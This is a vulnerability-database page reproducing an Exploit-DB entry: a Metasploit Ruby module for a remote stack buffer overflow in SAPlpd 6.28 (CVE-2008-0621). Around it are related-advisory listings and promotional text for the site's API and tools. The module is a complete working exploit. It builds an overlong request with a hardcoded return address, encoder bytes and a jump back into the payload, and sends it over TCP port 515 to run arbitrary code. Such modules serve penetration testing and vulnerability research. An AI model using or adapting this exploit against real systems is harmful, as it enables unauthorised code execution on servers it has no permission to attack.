Lucene search
K

SapLPD 6.28 - Remote Buffer Overflow (Metasploit)

🗓️ 09 May 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

SAPLPD 6.28 Buffer Overflow in SAPlpd 6.4

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
SAPlpd < 6.29 Multiple Vulnerabilities
20 Feb 200800:00
nessus
Tenable Nessus
SAPlpd < 6.29 Multiple Vulnerabilities
20 Feb 200800:00
nessus
Tenable Nessus
SAPlpd < 6.29 Multiple Vulnerabilities (credentialed check)
20 Feb 200800:00
nessus
Circl
CVE-2008-0621
9 May 201000:00
circl
CVE
CVE-2008-0621
6 Feb 200811:00
cve
Cvelist
CVE-2008-0621
6 Feb 200811:00
cvelist
d2
DSquare Exploit Pack: D2SEC_SAPLPD
6 Feb 200812:00
d2
Metasploit
SAP SAPLPD 6.28 Buffer Overflow
10 Feb 200801:48
metasploit
NVD
CVE-2008-0621
6 Feb 200812:00
nvd
Packet Storm
SAP SAPLPD 6.28 Buffer Overflow
26 Nov 200900:00
packetstorm
Rows per page
##
# $Id: saplpd.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SAP SAPLPD 6.28 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .
				By sending an overly long argument, an attacker may be able to execute arbitrary
				code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-0621' ],
					[ 'OSVDB', '41127' ],
					[ 'BID', '27613' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SAPlpd 6.28.0.1 (SAP Release 6.40)',   { 'Ret' => 0x005e72d7 } ], #SAPlpd.exe 3/7/2006
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Feb 4 2008',
			'DefaultTarget'  => 0))

		register_options([Opt::RPORT(515)], self)
	end

	def exploit
		connect

		sploit =  "\x02"
		sploit << rand_text_alpha_upper(484 - payload.encoded.length)
		sploit << payload.encoded
		sploit << [target.ret].pack('V')
		sploit << [0xe9, -375].pack('CV')

		print_status("Trying target #{target.name}...")

		sock.puts(sploit)

		handler
		disconnect
	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation